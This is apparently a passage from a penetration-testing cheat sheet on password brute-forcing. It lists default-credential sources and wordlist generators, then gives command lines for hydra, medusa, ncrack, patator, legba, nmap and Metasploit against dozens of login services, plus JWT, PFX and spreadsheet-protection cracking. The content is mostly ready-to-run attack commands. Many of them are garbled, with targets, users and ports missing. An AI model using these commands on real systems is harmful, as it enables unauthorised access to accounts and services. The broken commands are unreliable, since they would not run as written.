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{% endhint %} ## Default Credentials **Search in google** for default credentials of the technology that is being used, or **try these links**: * [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet) * [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html) * [**http://www.vulnerabilityassessment.co.uk/passwordsC.htm**](http://www.vulnerabilityassessment.co.uk/passwordsC.htm) * [**https://192-168-1-1ip.mobi/default-router-passwords-list/**](https://192-168-1-1ip.mobi/default-router-passwords-list/) * [**https://datarecovery.com/rd/default-passwords/**](https://datarecovery.com/rd/default-passwords/) * [**https://bizuns.com/default-passwords-list**](https://bizuns.com/default-passwords-list) * [**https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv**](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv) * [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium) * [**https://www.cirt.net/passwords**](https://www.cirt.net/passwords) * [**http://www.passwordsdatabase.com/**](http://www.passwordsdatabase.com) * [**https://many-passwords.github.io/**](https://many-passwords.github.io) * [**https://theinfocentric.com/**](https://theinfocentric.com/) ## **Create your own Dictionaries** Find as much information about the target as you can and generate a custom dictionary. Tools that may help: ### Crunch ```bash crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst) @ Lower case alpha characters , Upper case alpha characters % Numeric characters ^ Special characters including spac crunch 6 8 -t ,@@^^%% ``` ### Cewl ```bash cewl example.com -m 5 -w words.txt ``` ### [CUPP](https://github.com/Mebus/cupp) Generate passwords based on your knowledge of the victim (names, dates...) ``` python3 cupp.py -h ``` ### [Wister](https://github.com/cycurity/wister) A wordlist generator tool, that allows you to supply a set of words, giving you the possibility to craft multiple variations from the given words, creating a unique and ideal wordlist to use regarding a specific target. ```bash python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst __ _______ _____ _______ ______ _____ \ \ / /_ _|/ ____|__ __| ____| __ \ \ \ /\ / / | | | (___ | | | |__ | |__) | \ \/ \/ / | | \___ \ | | | __| | _ / \ /\ / _| |_ ____) | | | | |____| | \ \ \/ \/ |_____|_____/ |_| |______|_| \_\ Version 1.0.3 Cycurity Generating wordlist... [########################################] 100% Generated 67885 lines. Finished in 0.920s. ``` ### [pydictor](https://github.com/LandGrey/pydictor) ### Wordlists * [**https://github.com/danielmiessler/SecLists**](https://github.com/danielmiessler/SecLists) * [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium) * [**https://github.com/kaonashi-passwords/Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi) * [**https://github.com/google/fuzzing/tree/master/dictionaries**](https://github.com/google/fuzzing/tree/master/dictionaries) * [**https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm**](https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm) * [**https://weakpass.com/wordlist/**](https://weakpass.com/wordlist/) * [**https://wordlists.assetnote.io/**](https://wordlists.assetnote.io/) * [**https://github.com/fssecur3/fuzzlists**](https://github.com/fssecur3/fuzzlists) * [**https://hashkiller.io/listmanager**](https://hashkiller.io/listmanager) * [**https://github.com/Karanxa/Bug-Bounty-Wordlists**](https://github.com/Karanxa/Bug-Bounty-Wordlists)

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Use https-get mode for https medusa -h -u -P -M http -m DIR:/path/to/auth -T 10 legba http.basic --username admin --password wordlists/passwords.txt --target http://localhost:8888/ ``` ### HTTP - NTLM ```bash legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ ``` ### HTTP - Post Form ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V # Use https-post-form mode for https ``` For http**s** you have to change from "http-post-form" to "**https-post-form"** ### **HTTP - CMS --** (W)ordpress, (J)oomla or (D)rupal or (M)oodle ```bash cmsmap -f W/J/D/M -u a -p a https://wordpress.com # Check also https://github.com/evilsocket/legba/wiki/HTTP ``` ### IMAP ```bash hydra -l USERNAME -P /path/to/passwords.txt -f imap -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f imap -V nmap -sV --script imap-brute -p legba imap --username user --password data/passwords.txt --target localhost:993 ``` ### IRC ```bash nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p ``` ### ISCSI ```bash nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 ``` ### JWT ```bash #hashcat hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt #https://github.com/Sjord/jwtcrack python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt #John john jwt.txt --wordlist=wordlists.txt --format=HMAC-SHA256 #https://github.com/ticarpi/jwt_tool python3 jwt_tool.py -d wordlists.txt #https://github.com/brendan-rius/c-jwt-cracker ./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc 1234567890 8 #https://github.com/mazen160/jwt-pwn python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc -w wordlist.txt #https://github.com/lmammino/jwt-cracker jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6 ``` ### LDAP ```bash nmap --script ldap-brute -p 389 legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match ``` ### MQTT ``` ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt ``` ### Mongo ```bash nmap -sV --script mongodb-brute -n -p 27017 use auxiliary/scanner/mongodb/mongodb_login legba mongodb --target localhost:27017 --username root --password data/passwords.txt ``` ### MSSQL [MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) ```shell # Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt # Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt # Bruteforce using tickets against the hosts listed on the hosts.txt mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt # Bruteforce using passwords against the hosts listed on the hosts.txt mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt # Bruteforce using hashes against the hosts listed on the hosts.txt mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt ``` ```bash legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433 ``` ### MySQL ```bash # hydra hydra -L usernames.txt -P pass.txt mysql # msfconsole msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false # medusa medusa -h -u -P <-f | to stop medusa on first success attempt> -t -M mysql #Legba legba mysql --username root --password wordlists/passwords.txt --target localhost:3306 ``` ### OracleSQL ```bash patator oracle_login sid= host= user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017 ./odat.py passwordguesser -s $SERVER -d $SID ./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt #msf1 msf> use admin/oracle/oracle_login msf> set RHOSTS msf> set RPORT 1521 msf> set SID #msf2, this option uses nmap and it fails sometimes for some reason msf> use scanner/oracle/oracle_login msf> set RHOSTS msf> set RPORTS 1521 msf> set SID #for some reason nmap fails sometimes when executing this script nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid= legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt ``` In order to use **oracle\_login** with **patator** you need to **install**: ```bash pip3 install cx_Oracle --upgrade ``` [Offline OracleSQL hash bruteforce](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** and **11.2.0.3**): ```bash nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 ``` ### POP ```bash hydra -l USERNAME -P /path/to/passwords.txt -f pop3 -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f pop3 -V # Insecure legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:110 # SSL legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl ``` ### PostgreSQL ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt postgres medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres ncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt :5432 patator pgsql_login host= user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt use auxiliary/scanner/postgres/postgres_login nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 legba pgsql --username admin --password wordlists/passwords.txt --target localhost:5432 ``` ### PPTP You can download the `.deb` package to install from ```bash sudo dpkg -i thc-pptp-bruter*.deb #Install the package cat rockyou.txt | thc-pptp-bruter –u ``` ### RDP ```bash ncrack -vv --user -P pwds.txt rdp:// hydra -V -f -L -P rdp:// legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain ] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon] ``` ### Redis ```bash msf> use auxiliary/scanner/redis/redis_login nmap --script redis-brute -p 6379 hydra –P /path/pass.txt redis://: # 6379 is the default legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl] ``` ### Rexec ```bash hydra -l -P rexec:// -v -V ``` ### Rlogin ```bash hydra -l -P rlogin:// -v -V ``` ### Rsh ```bash hydra -L rsh:// -v -V ``` ### Rsync ```bash nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 ``` ### RTSP ```bash hydra -l root -P passwords.txt rtsp ``` ### SFTP ```bash legba sftp --username admin --password wordlists/passwords.txt --target localhost:22 # Try keys from a folder legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22 ``` ### SNMP ```bash msf> use auxiliary/scanner/snmp/snmp_login nmap -sU --script snmp-brute [--script-args snmp-brute.communitiesdb= ] onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp ``` ### SMB ```bash nmap --script smb-brute -p 445 hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1 legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup ] [--smb-share ] ``` ### SMTP ```bash hydra -l -P /path/to/passwords.txt smtp -V hydra -l -P /path/to/passwords.txt -s 587 -S -v -V #Port 587 for SMTP with SSL legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism ] ``` ### SOCKS ```bash nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 legba socks5 --target localhost:1080 --username admin --password data/passwords.txt # With alternative address legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080 ``` ### SQL Server ```bash #Use the NetBIOS name of the machine as domain crackmapexec mssql -d -u usernames.txt -p passwords.txt hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt mssql medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssql nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT ``` ### SSH ```bash hydra -l root -P passwords.txt [-t 32] ssh ncrack -p 22 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M ssh patator ssh_login host= port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed' legba ssh --username admin --password wordlists/passwords.txt --target localhost:22 # Try keys from a folder legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22 ``` #### Weak SSH keys / Debian predictable PRNG Some systems have known flaws in the random seed used to generate cryptographic material. This can result in a dramatically reduced keyspace which can be bruteforced with tools such as [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Pre-generated sets of weak keys are also available such as [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). ### STOMP (ActiveMQ, RabbitMQ, HornetQ and OpenMQ) The STOMP text protocol is a widely used messaging protocol that **allows seamless communication and interaction with popular message queueing services** such as RabbitMQ, ActiveMQ, HornetQ, and OpenMQ. It provides a standardized and efficient approach to exchange messages and perform various messaging operations. ```bash legba stomp --target localhost:61613 --username admin --password data/passwords.txt ``` ### Telnet ```bash hydra -l root -P passwords.txt [-t 32] telnet ncrack -p 23 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M telnet legba telnet \ --username admin \ --password wordlists/passwords.txt \ --target localhost:23 \ --telnet-user-prompt "login: " \ --telnet-pass-prompt "Password: " \ --telnet-prompt ":~$ " \ --single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin ``` ### VNC ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s vnc medusa -h –u root -P /root/Desktop/pass.txt –M vnc ncrack -V --user root -P /root/Desktop/pass.txt :>POR>T patator vnc_login host= password=FILE0 0=/root/Desktop/pass.txt –t 1 –x retry:fgep!='Authentication failure' --max-retries 0 –x quit:code=0 use auxiliary/scanner/vnc/vnc_login nmap -p 5900,5901 --script vnc-brute --script-args brute.credfile=wordlist.txt legba vnc --target localhost:5901 --password data/passwords.txt #Metasploit use auxiliary/scanner/vnc/vnc_login set RHOSTS set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst ``` ### Winrm ```bash crackmapexec winrm -d -u usernames.txt -p passwords.txt ```

### DPAPI Master Key Use and then john ### Open Office Pwd Protected Column If you have an xlsx file with a column protected by a password you can unprotect it: * **Upload it to google drive** and the password will be automatically removed * To **remove** it **manually**: ```bash unzip file.xlsx grep -R "sheetProtection" ./* # Find something like: # Remove that line and rezip the file zip -r file.xls . ``` ### PFX Certificates ```bash # From https://github.com/Ridter/p12tool ./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt # From https://github.com/crackpkcs12/crackpkcs12 crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx ```

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